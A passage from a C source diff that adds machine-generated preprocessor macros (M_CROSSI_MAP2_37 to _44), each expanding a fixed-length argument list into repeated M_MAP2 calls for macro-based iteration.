M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) 
+#define M_CROSSI_MAP2_37(...) M_CROSSI_MAP2_37b(__VA_ARGS__)
+#define M_CROSSI_MAP2_37b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) 
+#define M_CROSSI_MAP2_38(...) M_CROSSI_MAP2_38b(__VA_ARGS__)
+#define M_CROSSI_MAP2_38b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) 
+#define M_CROSSI_MAP2_39(...) M_CROSSI_MAP2_39b(__VA_ARGS__)
+#define M_CROSSI_MAP2_39b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) 
+#define M_CROSSI_MAP2_40(...) M_CROSSI_MAP2_40b(__VA_ARGS__)
+#define M_CROSSI_MAP2_40b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) 
+#define M_CROSSI_MAP2_41(...) M_CROSSI_MAP2_41b(__VA_ARGS__)
+#define M_CROSSI_MAP2_41b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) 
+#define M_CROSSI_MAP2_42(...) M_CROSSI_MAP2_42b(__VA_ARGS__)
+#define M_CROSSI_MAP2_42b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) 
+#define M_CROSSI_MAP2_43(...) M_CROSSI_MAP2_43b(__VA_ARGS__)
+#define M_CROSSI_MAP2_43b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) 
+#define M_CROSSI_MAP2_44(...) M_CROSSI_MAP2_44b(__VA_ARGS__)
+#define M_CROSSI_MAP2_44b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a32), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a33), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a34), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a35), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a36), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a37), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a38), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a39), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a40), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a41), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a42), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a43), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a44), M_ID blist) 
+#define M_CROSSI_MAP2_45(...) M_CROSSI_MAP2_45b(__VA_ARGS__)
